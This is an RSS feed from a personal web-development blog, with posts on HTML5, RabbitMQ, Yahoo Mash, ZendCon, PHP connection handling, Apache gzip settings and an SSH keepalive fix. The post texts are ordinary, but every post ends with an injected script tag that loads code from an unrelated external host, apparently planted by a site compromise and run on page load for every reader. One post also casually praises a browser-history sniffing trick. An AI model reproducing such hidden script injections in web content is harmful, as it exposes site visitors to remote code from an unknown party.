<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>headphono.us &#187; Webdevelopment</title>
	<atom:link href="http://headphono.us/category/webdevelopment/feed/" rel="self" type="application/rss+xml" />
	<link>http://headphono.us</link>
	<description>Pras Sarkar blogs about web technology, music, social networks, digital identities and other random things.</description>
	<lastBuildDate>Sat, 08 May 2010 17:42:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>HTML5 Primer and Comprehensive List of Features</title>
		<link>http://headphono.us/2010/04/17/html5-primer-and-comprehensive-list-of-features/</link>
		<comments>http://headphono.us/2010/04/17/html5-primer-and-comprehensive-list-of-features/#comments</comments>
		<pubDate>Sat, 17 Apr 2010 19:49:04 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[css3]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=182</guid>
		<description><![CDATA[It&#8217;s hard to escape the recent chatter about HTML5 all over the development blogs. But it&#8217;s also hard to keep up with all the changes in HTML5. That&#8217;s where @edr&#8217;s amazingly concise and comprehensive list of HTML5 features comes in handy. If you&#8217;ve ever asked the question &#8220;What is HTML5?&#8221; or ever wanted to gain [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s hard to escape the recent chatter about HTML5 all over the development blogs. But it&#8217;s also hard to keep up with all the changes in HTML5. That&#8217;s where <a href="http://twitter.com/edr">@edr&#8217;s</a> amazingly <a href="http://apirocks.com/html5/html5.html">concise and comprehensive list of HTML5 features</a> comes in handy. If you&#8217;ve ever asked the question &#8220;What is HTML5?&#8221; or ever wanted to gain an overall understanding of HTML5 and what the changes mean for developers, this slide deck is essential for you.</p>
<p>Here&#8217;s a quick summary for those who don&#8217;t have the 10 mins to go through the slides:</p>
<h2>HTML5 ~= HTML + CSS + Javascript APIs</h2>
<h2>HTML</h2>
<ul>
<li><a href="http://apirocks.com/html5/html5.html#slide17">Semantics (New tags, Link Relations, Microdata)</a></li>
<li><a href="http://apirocks.com/html5/html5.html#slide20">Accessibility (ARIA roles)</a></li>
<li><a href="http://apirocks.com/html5/html5.html#slide21">Web Forms 2.0 (Input Fields)</a></li>
<li><a href="http://apirocks.com/html5/html5.html#slide22">Multimedia (Audio Tag, Video Tag)</a></li>
<li><a href="http://apirocks.com/html5/html5.html#slide23">2D and 3D drawing (Canvas, WebGL)</a></li>
</ul>
<h2>CSS</h2>
<ul>
<li><a href="http://apirocks.com/html5/html5.html#slide28">Selectors</a></li>
<li><a href="http://apirocks.com/html5/html5.html#slide29">Typography</a></li>
<li><a href="http://apirocks.com/html5/html5.html#slide30">Visuals</a></li>
<li><a href="http://apirocks.com/html5/html5.html#slide40">Transitions, transforms and animations</a></li>
</ul>
<h2>JS APIs</h2>
<ul>
<li><a href="http://apirocks.com/html5/html5.html#slide6">New Selectors</a></li>
<li><a href="http://apirocks.com/html5/html5.html#slide7">Client Side Storage (Web SQL Database, App Cache, Web Storage)</a></li>
<li><a href="http://apirocks.com/html5/html5.html#slide10">Communication (Web Sockets, Web Workers)</a></li>
<li><a href="http://apirocks.com/html5/html5.html#slide12">Desktop experience (Notifications, Drag and Drop API)</a></li>
<li><a href="http://apirocks.com/html5/html5.html#slide14">Geolocation</a></li>
</ul>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2010/04/17/html5-primer-and-comprehensive-list-of-features/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Introduction to Message Queues and RabbitMQ</title>
		<link>http://headphono.us/2009/07/06/introduction-to-message-queues-and-rabbitmq/</link>
		<comments>http://headphono.us/2009/07/06/introduction-to-message-queues-and-rabbitmq/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 20:52:56 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Software Architecture]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[amqp]]></category>
		<category><![CDATA[message queues]]></category>
		<category><![CDATA[pubsub]]></category>
		<category><![CDATA[rabbitmq]]></category>
		<category><![CDATA[web services]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=84</guid>
		<description><![CDATA[Incase you&#8217;re not familiar with the advantages of message queues in web applications, they allow you to (among other things) offload tasks and processes that may be initiated by users interacting with your application but the results of which need not return back to the user synchronously. E.g. a user submits an e-commerce order, the [...]]]></description>
			<content:encoded><![CDATA[<p>Incase you&#8217;re not familiar with the advantages of message queues in web applications, they allow you to (among other things) offload tasks and processes that may be initiated by users interacting with your application but the results of which need not return back to the user synchronously. E.g. a user submits an e-commerce order, the application captures the order and returns a confirmation to the user. As an offline (to the user) process, the order is processed, fulfilled from existing inventory and marked to be shipped out. Each of these steps would consume a message (from a queue) and after their task is complete, if necessary, add a message to the queue for the next process to consume. The use cases for message queues aren&#8217;t limited to user initiated events, and have general applications in most systems.</p>
<p>Traditionally, message queues have been implemented in enterprise systems as large-scale &#8220;message queue middle tier&#8221; deployments. Most of these are provided by the big boys (read big investment) such as IBM, Tibco, etc. and usually require a dedicated team of engineers to integrate (though this has changed lately). However, there weren&#8217;t really any independent or open source solutions ready for production use until the emergence of <a href="http://www.rabbitmq.com">RabbitMQ</a> &#8211; an Open Source Enterprise Messaging Broker.</p>
<p>RabbitMQ is built on the foundations of Erlang and implements <a href="http://en.wikipedia.org/wiki/Advanced_Message_Queuing_Protocol">AMQP</a> &#8211; an emerging standard of high performance messaging. It is <a href="http://www.rabbitmq.com/faq.html#what-is-otp">based on a proven platform</a>, is <a href="http://www.rabbitmq.com/interoperability.html">interoperable</a> and offers low latency and good throughput. I&#8217;ve been hearing good things lately about it, specifically about the ease-of-setup (packaged EC2 server configs), performance and scalability, <a href="http://www.rabbitmq.com/resources/erlang-exchange-talk-final/diagrams/the-rabbitmq-universe.png">numerous protocol bindings and integration frameworks</a>, etc.</p>
<p><a href="http://www.youtube.com/watch?v=ZQogoEVXBSA">This Google Tech Talk video</a> (embedded below) explains the goals of RabbitMQ, their internal architecture (and decisions behind their design) and their work so far:</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/ZQogoEVXBSA&amp;hl=en&amp;fs=1&amp;" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/ZQogoEVXBSA&amp;hl=en&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Here are the slides:</p>
<ul>
<li>Part 1: <a href="http://www.rabbitmq.com/resources/google-tech-talk-final/alexis-google-rabbitmq-talk.pdf">http://www.rabbitmq.com/resources/google-tech-talk-final/alexis-google-rabbitmq-talk.pdf</a></li>
<li>Part 2: <a href="http://www.rabbitmq.com/resources/google-tech-talk-final/google.html">http://www.rabbitmq.com/resources/google-tech-talk-final/google.html</a></li>
</ul>
<p>What seems most interesting is that RabbitMQ seems to be the first real step towards open sourcing the messaging middleware, which traditionally has suffered from vendor lock-in. Since it&#8217;s a $1 billion industry, I don&#8217;t quite expect the vendors to take this lying down. So either they will compete by lowering client costs, provide better support, or offer more managed integrations, or open source products will win the critical mass game by getting most small business/startups to adopt rapidly (similar to MySQL). In either case, it should be interesting to watch what RabbitMQ has started.</p>
<p>A natural extension message queues is where many processes consume a message from the queue (i.e. <a href="http://en.wikipedia.org/wiki/Publish/subscribe">Publish/Subscribe pattern</a>). PubSub is great for broadcasting messages to a variety of consuming processes. E.g. In the e-commerce order placement example above, once the credit card processing is complete, the message could be broadcasted to a variety of processes down the pipeline (order fulfillment, inventory update, shipping tracking, etc.). Fortunately, <a href="http://www.lshift.net/">LShift</a> has implemented a <a href="http://www.lshift.net/blog/2009/06/30/pubsub-over-webhooks-with-rabbithub">PubSub layer on top of RabbitMQ</a>.</p>
<p>With the growing use of cloud computing services like Amazon Web Services, web developers are going to have start thinking more enterprisy (if that&#8217;s a word?). If you&#8217;re a web developer, what are your thoughts? If you&#8217;re a web developer who is already thinking in this direction (good for you!), how has your design/architecture process changed from the early days of web development?</p>
<p><strong>July 6, 2009 Update</strong>: Thanks to @<a href="http://twitter.com/andrewgleave">andrewgleave</a> who linked to <a href="http://tr.im/r8yY">this presentation</a> which goes more in-depth about AMQP, PubSub and RabbitMQ.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2009/07/06/introduction-to-message-queues-and-rabbitmq/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Friend Finder on Mash</title>
		<link>http://headphono.us/2007/10/22/friend-finder-on-mash/</link>
		<comments>http://headphono.us/2007/10/22/friend-finder-on-mash/#comments</comments>
		<pubDate>Tue, 23 Oct 2007 03:16:12 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Apps]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us/2007/10/22/friend-finder-on-mash/</guid>
		<description><![CDATA[You should&#8217;ve heard of Mash by now, if not, get out of your cubbyhole and check out the latest social network offering from Yahoo!
The social network aspect isn&#8217;t new, but what is new is the fluid free-for-all profile mashing. Mash lets you change your friends&#8217; profiles &#8211; whether its content styling changes or adding modules. [...]]]></description>
			<content:encoded><![CDATA[<p>You should&#8217;ve heard of <a href="http://mash.yahoo.com">Mash</a> by now, if not, get out of your cubbyhole and check out the <a href="http://mash.yahoo.com">latest social network offering from Yahoo!</a></p>
<p>The social network aspect isn&#8217;t new, but what is new is the fluid free-for-all profile mashing. Mash lets you change your friends&#8217; profiles &#8211; whether its content styling changes or adding modules. Luckily, for those who are paranoid about having their precious profiles tampered with, you can turn off the feature.</p>
<p>Caution: Shameless plug from this point on.</p>
<p>Way back in August (I think), a few of us &#8211; Vinay Kakade, Ashwinder Ahluwalia and myself &#8211; got together to throw together a quick hack called <a href="http://blog.messenger.yahoo.com/blog/2007/09/11/discovring-new-friends/">&#8220;Discovr&#8221;</a> for hack day. This hack demonstrated some of the powerful abilities to analyze your friends network and bring forth some possible connections (suggestions). It highlighted possible profiles that seemed highly likely to be your friend (but weren&#8217;t on your friend list already). Make sense? Anyway, we ended winning the &#8220;Most Promising&#8221; award for that hack day and we took this approach forward to Mash.</p>
<p>&#8220;Discovr&#8221; was born in Mash as the <a href="http://mash.yahoo.com/gallery.php?tag=friendfinder">&#8220;Friend Finder v2&#8243;</a> module and after a few technical issues, we were up and running. At the time of this writing, we&#8217;re slowly inching up to almost a 1000 users, and the feedback that we&#8217;ve received so far has been very positive. Since Mash is lacking (for now) the ability to directly search for your friends, Friend Finder becomes very useful in finding these hidden connections in your organically growing network of friends. We surface these deep hidden connections and suggest these friends to you. Taking it one step further, once you add the module to someone else&#8217;s profile (whether they are your friend or not), it shows your friend recommendations through that person&#8217;s network of friends (this is a really cool aspect which needs a post of its own).</p>
<p>Check out the <a href="http://mash.yahoo.com/gallery.php?tag=friendfinder">&#8220;Friend Finder v2&#8243; module on Mash</a> and hit me up if you have any feedback.</p>
<p>Profiles on Mash: <a href="http://mash.yahoo.com/profile.php?id=Ih1zMThy2iy1rS_yabG0">Pras Sarkar</a>, <a href="http://mash.yahoo.com/profile.php?id=fMcbTdJ0wSMLrTh1DPBObg">Vinay Kakade</a>, <a href="http://mash.yahoo.com/profile.php?id=IVENPeFjwCHrrVP4EOCh">Ashwinder Ahluwalia</a>, <a href="http://mash.yahoo.com/profile.php?id=wypSfX1w0ShI4MCEG4pxR.U">Ramana Yerneni</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/10/22/friend-finder-on-mash/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ZendCon 07 &#8211; Day 2 (Afternoon update)</title>
		<link>http://headphono.us/2007/10/10/zendcon-07-day-2-afternoon-update/</link>
		<comments>http://headphono.us/2007/10/10/zendcon-07-day-2-afternoon-update/#comments</comments>
		<pubDate>Wed, 10 Oct 2007 21:36:24 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us/2007/10/10/zendcon-07-day-2-afternoon-update/</guid>
		<description><![CDATA[The Joel Spolsky keynote was one of the most engaging, interesting and downright hilarious presentations I&#8217;ve heard this year. He really knows how to talk to the crowd. A few suggestions from Joel on creating great software:

Make people happy
Think about emotions
Obsess over aesthetics

Joel is right &#8211; developers don&#8217;t necessarily want to think about beautifying their [...]]]></description>
			<content:encoded><![CDATA[<p>The Joel Spolsky keynote was one of the most engaging, interesting and downright hilarious presentations I&#8217;ve heard this year. He really knows how to talk to the crowd. A few suggestions from Joel on creating great software:</p>
<ol>
<li>Make people happy</li>
<li>Think about emotions</li>
<li>Obsess over aesthetics</li>
</ol>
<p>Joel is right &#8211; developers don&#8217;t necessarily want to think about beautifying their applications. Developers largely work on the middle-tier and supporting backends, and like everyone, they have an underlying desire for their work to be observed and appreciated. If the &#8217;skin&#8217; of the application garners all the attention, developers might feel slighted, and their kickass software go unappreciated.</p>
<p>But it&#8217;s important to think about beautifying the application as an enhancement to the great product. Imagine it as if you&#8217;re working hard to restore a great relic automobile. You work tirelessly to juice up the engine and get the transmission just right. But the paint job that you add to it is equally important and you shouldn&#8217;t hold back making it shine &#8211; REALLY shine. After all, hardly anyone&#8217;s going to listen to the roaring engine if they don&#8217;t even notice your shiny car rolling in.</p>
<p>&#8217;nuff said. Now to go get some caffeine.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/10/10/zendcon-07-day-2-afternoon-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ZendCon 07 &#8211; Day 2</title>
		<link>http://headphono.us/2007/10/10/zendcon-07-day-2/</link>
		<comments>http://headphono.us/2007/10/10/zendcon-07-day-2/#comments</comments>
		<pubDate>Wed, 10 Oct 2007 18:14:45 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us/2007/10/10/zendcon-07-day-2/</guid>
		<description><![CDATA[Second day here at the ZendCon 07, and no session better than Eli White&#8217;s PHP Features You Didn&#8217;t Know Existed to start off the day. PHP developers who&#8217;ve been coding for a number of years (some 10 years or more) were scoffing at the idea that Eli would present anything new or &#8216;undiscovered&#8217;. But there [...]]]></description>
			<content:encoded><![CDATA[<p>Second day here at the ZendCon 07, and no session better than <a href="http://eliw.com">Eli White</a>&#8217;s <strong>PHP Features You Didn&#8217;t Know Existed</strong> to start off the day. PHP developers who&#8217;ve been coding for a number of years (some 10 years or more) were scoffing at the idea that Eli would present anything new or &#8216;undiscovered&#8217;. But there wasn&#8217;t a cough in the packed room as Eli presented rarely-used hidden gems in the PHP language. The applause at the end surely put any scoffism to rest.</p>
<p>I can&#8217;t list all the neat stuff that Eli covered, but something that caught my attention was the topic of closing connections early. I&#8217;ve been trying to find an elegant way to solve this problem for a personal project and this might just be the way to do it. Here&#8217;s some rough code (more specific code examples to come later):</p>
<p><code><br />
ignore_user_abort(true);<br />
header("Connection: close");<br />
header("Content-Length: ", mb_strlen($response));<br />
echo $response;<br />
flush();<br />
</code></p>
<p>The <code>ignore_user_abort(true)</code> function basically lets your script continue execution even though the user might have hit the STOP button in his browser, or the connection between the user and your script got disconnected, etc. This neat code above lets you return a quick response (great for Ajax button clicks) so that you can update client side &#8211; keeping your site fast and responsive &#8211; while your script chugs along server side.</p>
<p>More updates coming up today, but don&#8217;t forget to come to the PHP Nightclub event (starts at 8pm) and check out the Yahoo! gang. Btw, the event is open to all, so there&#8217;s no excuse to miss it!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/10/10/zendcon-07-day-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blogging from ZendCon 07</title>
		<link>http://headphono.us/2007/10/09/blogging-from-zendcon-07/</link>
		<comments>http://headphono.us/2007/10/09/blogging-from-zendcon-07/#comments</comments>
		<pubDate>Wed, 10 Oct 2007 06:17:19 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us/2007/10/09/blogging-from-zendcon-07/</guid>
		<description><![CDATA[The first day of Zend Con was pretty interesting. I wasn&#8217;t able to attend all the sessions, but the notable ones were Terry Chay&#8217;s The Internet is an Ogre: Finding Art in the Software Architecture (hilarious guy), Ben Ramsey&#8217;s Give Your Site A Boost With memcache, and Eli White&#8217;s High Performance PHP &#38; MySQL Scaling [...]]]></description>
			<content:encoded><![CDATA[<p>The first day of Zend Con was pretty interesting. I wasn&#8217;t able to attend all the sessions, but the notable ones were Terry Chay&#8217;s <strong><strong>The Internet is an Ogre: Finding Art in the Software Architecture </strong></strong>(hilarious guy), Ben Ramsey&#8217;s <strong><strong>Give Your Site A Boost With memcache</strong></strong>, and Eli White&#8217;s <strong><strong>High Performance PHP &amp; MySQL Scaling Techniques</strong></strong> (standing room only).</p>
<p>These types of sessions make conferences interesting and a learning experience (and ultimately worth spending your time at). Even though a lot of material might be common knowledge (covered in books, papers, online articles), it&#8217;s always important to get a sense of validation when you see their presentations with live data and hear comments from the audience about possible problems and gotchas.</p>
<p>Of course, no conference is complete without the odd product placement presentations (I&#8217;m looking at you IBM and Adobe) but as long as they keep their presentations geared towards providing solutions rather than forcing you to buy into <em>their</em> solution, I&#8217;m all for it.</p>
<p>If you&#8217;re at <a href="http://www.zendcon.com">ZendCon 07</a>, make sure to drop by the Yahoo! booth in the reception area where I&#8217;ll be handing out purple tote bags and chatting about the interesting things we do at Yahoo! (and <a href="http://research.yahoo.com">Yahoo! Research</a> in particular).<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/10/09/blogging-from-zendcon-07/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spyjax baby, we know where you&#8217;ve been</title>
		<link>http://headphono.us/2007/06/01/spyjax-baby-we-know-where-youve-been/</link>
		<comments>http://headphono.us/2007/06/01/spyjax-baby-we-know-where-youve-been/#comments</comments>
		<pubDate>Fri, 01 Jun 2007 22:22:48 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Apps]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=29</guid>
		<description><![CDATA[Now this is clever. Using a simple concept of checking the color of links and on the assumption that visited links are a different color than unvisited ones, you can find out all the URLs in your client&#8217;s browser history. Now that&#8217;s not invasion of privacy&#8230;its just a clever hack  
Read all about Spyjax. [...]]]></description>
			<content:encoded><![CDATA[<p>Now this is clever. Using a simple concept of checking the color of links and on the assumption that visited links are a different color than unvisited ones, you can find out all the URLs in your client&#8217;s browser history. Now that&#8217;s not invasion of privacy&#8230;its just a clever hack <img src='http://headphono.us/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><a href="http://www.merchantos.com/makebeta/tools/spyjax/">Read all about Spyjax.</a> Thanks Pedro!<br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/06/01/spyjax-baby-we-know-where-youve-been/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to load your site faster: HTTP Compression</title>
		<link>http://headphono.us/2007/05/07/how-to-load-your-site-faster-http-compression/</link>
		<comments>http://headphono.us/2007/05/07/how-to-load-your-site-faster-http-compression/#comments</comments>
		<pubDate>Tue, 08 May 2007 04:49:56 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=27</guid>
		<description><![CDATA[In this series, we take a look at how to reduce load times across your site. The first part of the series tackles one of the most important techniques which usually proves to drastically reduce your load times. Usually it&#8217;s not enough to use HTTP Compression alone (best results when coupled with smart caching), but [...]]]></description>
			<content:encoded><![CDATA[<p>In this series, we take a look at how to reduce load times across your site. The first part of the series tackles one of the most important techniques which usually proves to drastically reduce your load times. Usually it&#8217;s not enough to use HTTP Compression alone (best results when coupled with smart caching), but I&#8217;ve seen anywhere between 40%-80% speed increases.</p>
<p><span id="more-27"></span></p>
<p>So how is it done? Well, two different ways, depending on your Apache version and configuration options. To check what version you&#8217;re running (for the folks who use a hosted solution), try this on any unix shell:</p>
<p><code>$&gt; curl -I http://headphono.us<br />
HTTP/1.1 200 OK<br />
Date: Wed, 02 May 2007 02:49:22 GMT<br />
Server: Apache/1.3.37 (Unix) mod_throttle/3.1.2 DAV/1.0.3 mod_fastcgi/2.4.2 mod_gzip/1.3.26.1a PHP/4.4.4 mod_ssl/2.8.22 OpenSSL/0.9.7e<br />
X-Pingback: http://headphono.us/xmlrpc.php<br />
X-Powered-By: PHP/5.2.1<br />
Content-Type: text/html; charset="UTF-8"</code></p>
<p>As you can see, I&#8217;m using Apache 1.3.37 (yes, thats a very 1337 version). You can also see that my Apache has been compiled using mod_gzip &#8212; which is exactly what I need. Follow the directions below depending on the version you&#8217;re running.</p>
<p>If you&#8217;re using <strong>Apache 1.3</strong>, you&#8217;ll need <strong>mod_gzip</strong>. I won&#8217;t get into the process of recompiling/installing Apache with mod_gzip, but look around and you&#8217;ll find lots of places that explain it. From this point on, I&#8217;m assuming you have mod_gzip already.</p>
<p>You&#8217;ll want to edit either the .htaccess file (per directory on your server) or the httpd.conf file for a global Apache configuration. I usually like to edit my .htaccess files so that I can move my directories across servers and they maintain the compression settings.</p>
<p>The following explicitly states the following:</p>
<ul>
<li>All text files (text/css, text/javascript, text/html, etc.) will be compressed.</li>
<li>All javascript application files (that aren&#8217;t text/javascript) will also be compressed.</li>
<li>All images (which are usually compressed already) need not be compressed.</li>
<li>All PDF documents need not be compressed.</li>
</ul>
<p><code>mod_gzip_item_include mime ^text/.*<br />
mod_gzip_item_include mime ^application/x-javascript$<br />
mod_gzip_item_exclude mime ^image/.*$<br />
mod_gzip_item_exclude mime ^application/pdf$</code></p>
<p>If you&#8217;re using <strong>Apache 2.x</strong>, you&#8217;ll need to use <strong>mod_deflate</strong>. Again, I won&#8217;t get into the complexities of recompiling Apache with mod_deflate (<a href="http://www.webperformance.org/compression/deflate-compress.html">see here for that info</a>).</p>
<p>To turn on mod_deflate:</p>
<p><code>SetOutputFilter DEFLATE</code></p>
<p>To explicitly exclude files from being gzipped, add the following for every type of file you want to exclude:</p>
<p><code>SetEnvIfNoCase Request_URI \.(?:gif|jpe?g|png)$ no-gzip dont-vary<br />
SetEnvIfNoCase Request_URI \.(?:exe|t?gz|zip|bz2|sit|rar)$ no-gzip dont-vary<br />
SetEnvIfNoCase Request_URI \.pdf$ no-gzip dont-vary</code></p>
<p>But if you want to explicitly include the files:</p>
<p><code>AddOutputFilterByType DEFLATE text/*<br />
AddOutputFilterByType DEFLATE application/ms* application/vnd* application/postscript</code></p>
<p>You can even turn on gzip compression for certain directories:</p>
<p><code><directory><br />
AddEncoding x-gzip .gz<br />
AddType application/x-javascript .gz<br />
AddOutputFilter DEFLATE js<br />
</directory></code></p>
<p>So only javascript files in the subdirectory &#8220;js&#8221; would be compressed.</p>
<p>Now if you wanted to get real funky (and you should), you&#8217;ll want to be aware and compress according to the browser clients that can handle HTTP compression. You can tweak compression by limiting them to certain browsers:</p>
<p><code># Netscape 4.x has some problems...<br />
BrowserMatch ^Mozilla/4 gzip-only-text/html</p>
<p># Netscape 4.06-4.08 have some more problems<br />
BrowserMatch ^Mozilla/4\.0[678] no-gzip</p>
<p># MSIE masquerades as Netscape, but it is fine<br />
# BrowserMatch \bMSIE !no-gzip !gzip-only-text/html</p>
<p># NOTE: Due to a bug in mod_setenvif up to Apache 2.0.48<br />
# the above regex won't work. You can use the following<br />
# workaround to get the desired effect:<br />
BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html</code></p>
<p>This should be a pretty basic (if very brief) introduction to HTTP compression. I highly suggest the further reading below, and really fine tuning your Apache settings to get the best results. Using Firefox plugins like <a href="http://www.getfirebug.com/">Firebug</a> also help analyze and debug your settings to make sure your gzip compression is working and is being effective.</p>
<p>Further reading:</p>
<ul>
<li><a href="http://www-128.ibm.com/developerworks/web/library/wa-httpcomp/">Speed Web delivery with HTTP compression</a></li>
<li><a href="http://www.webperformance.org/compression/">WebPerformance Web Compression Library</a></li>
<li><a href="http://httpd.apache.org/docs/2.0/mod/mod_deflate.html">Apache 2.x mod_deflate documentation</a></li>
</ul>
<p>Next up: Application level caching (PHP)<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/05/07/how-to-load-your-site-faster-http-compression/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to load your site faster: Introduction</title>
		<link>http://headphono.us/2007/04/29/how-to-load-your-site-faster-introduction/</link>
		<comments>http://headphono.us/2007/04/29/how-to-load-your-site-faster-introduction/#comments</comments>
		<pubDate>Mon, 30 Apr 2007 04:00:46 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=26</guid>
		<description><![CDATA[Given my recent obsession with optimizing website load times recently, I felt the need to share my research findings. There are more ways than flavors at a gellato store, but fear not, I&#8217;ll try to condense them into a consumable chunk in the next few series of posts.
Here&#8217;s a rough breakdown of what I intend [...]]]></description>
			<content:encoded><![CDATA[<p>Given my recent obsession with optimizing website load times recently, I felt the need to share my research findings. There are more ways than flavors at a gellato store, but fear not, I&#8217;ll try to condense them into a consumable chunk in the next few series of posts.</p>
<p>Here&#8217;s a rough breakdown of what I intend to explore:</p>
<ol>
<li>HTTP Compression</li>
<li>Application level caching (PHP)</li>
<li>Client side requests optimization</li>
<li>Non-vital scripts optimization</li>
<li>Client side caching (i.e. browser caching)</li>
</ol>
<p>There&#8217;s a lot of neat tips and tricks out there, and I&#8217;ll try to post as much code and/or scripts that I can. I&#8217;ve used tactics from all the above topics in real world applications that I&#8217;ve been developing and the results have been very encouraging. On one particular site, using a combination of #1,#2 and #3, I went from an initial load time of 3.6 secs to 455ms (87% decrease).</p>
<p>Stay tuned for some good stuff.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/04/29/how-to-load-your-site-faster-introduction/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OSX Terminal: Solve the &#8220;Connection reset by peer&#8221; problem</title>
		<link>http://headphono.us/2006/07/20/osx-terminal-solve-the-connection-reset-by-peer-problem/</link>
		<comments>http://headphono.us/2006/07/20/osx-terminal-solve-the-connection-reset-by-peer-problem/#comments</comments>
		<pubDate>Fri, 21 Jul 2006 03:30:30 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Mac]]></category>
		<category><![CDATA[Productivity]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=21</guid>
		<description><![CDATA[I finally got tired of getting timed out of my server while using Terminal and/or iTerm. Luckily, the fix was easier and less complicated than I imagined. It was a system-wide ssh config fix. Try the following:

1. sudo emacs /etc/ssh_config
2. add a new line "ServerAliveInterval 60"
3. save and exit

That should do it. The next time [...]]]></description>
			<content:encoded><![CDATA[<p>I finally got tired of getting timed out of my server while using Terminal and/or iTerm. Luckily, the fix was easier and less complicated than I imagined. It was a system-wide ssh config fix. Try the following:</p>
<p><code><br />
1. sudo emacs /etc/ssh_config<br />
2. add a new line "ServerAliveInterval 60"<br />
3. save and exit<br />
</code></p>
<p>That should do it. The next time you ssh (using either Terminal or iTerm), you&#8217;ll be sending &#8216;Keep Alive&#8217; packets every 60 seconds if the client doesn&#8217;t receive anything from the server. Optionally, if you have sysadmin access to the server you&#8217;re connecting to, you can add</p>
<pre>"ClientAliveInterval 60"</pre>
<p>in the same location server side.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2006/07/20/osx-terminal-solve-the-connection-reset-by-peer-problem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 1.048 seconds -->
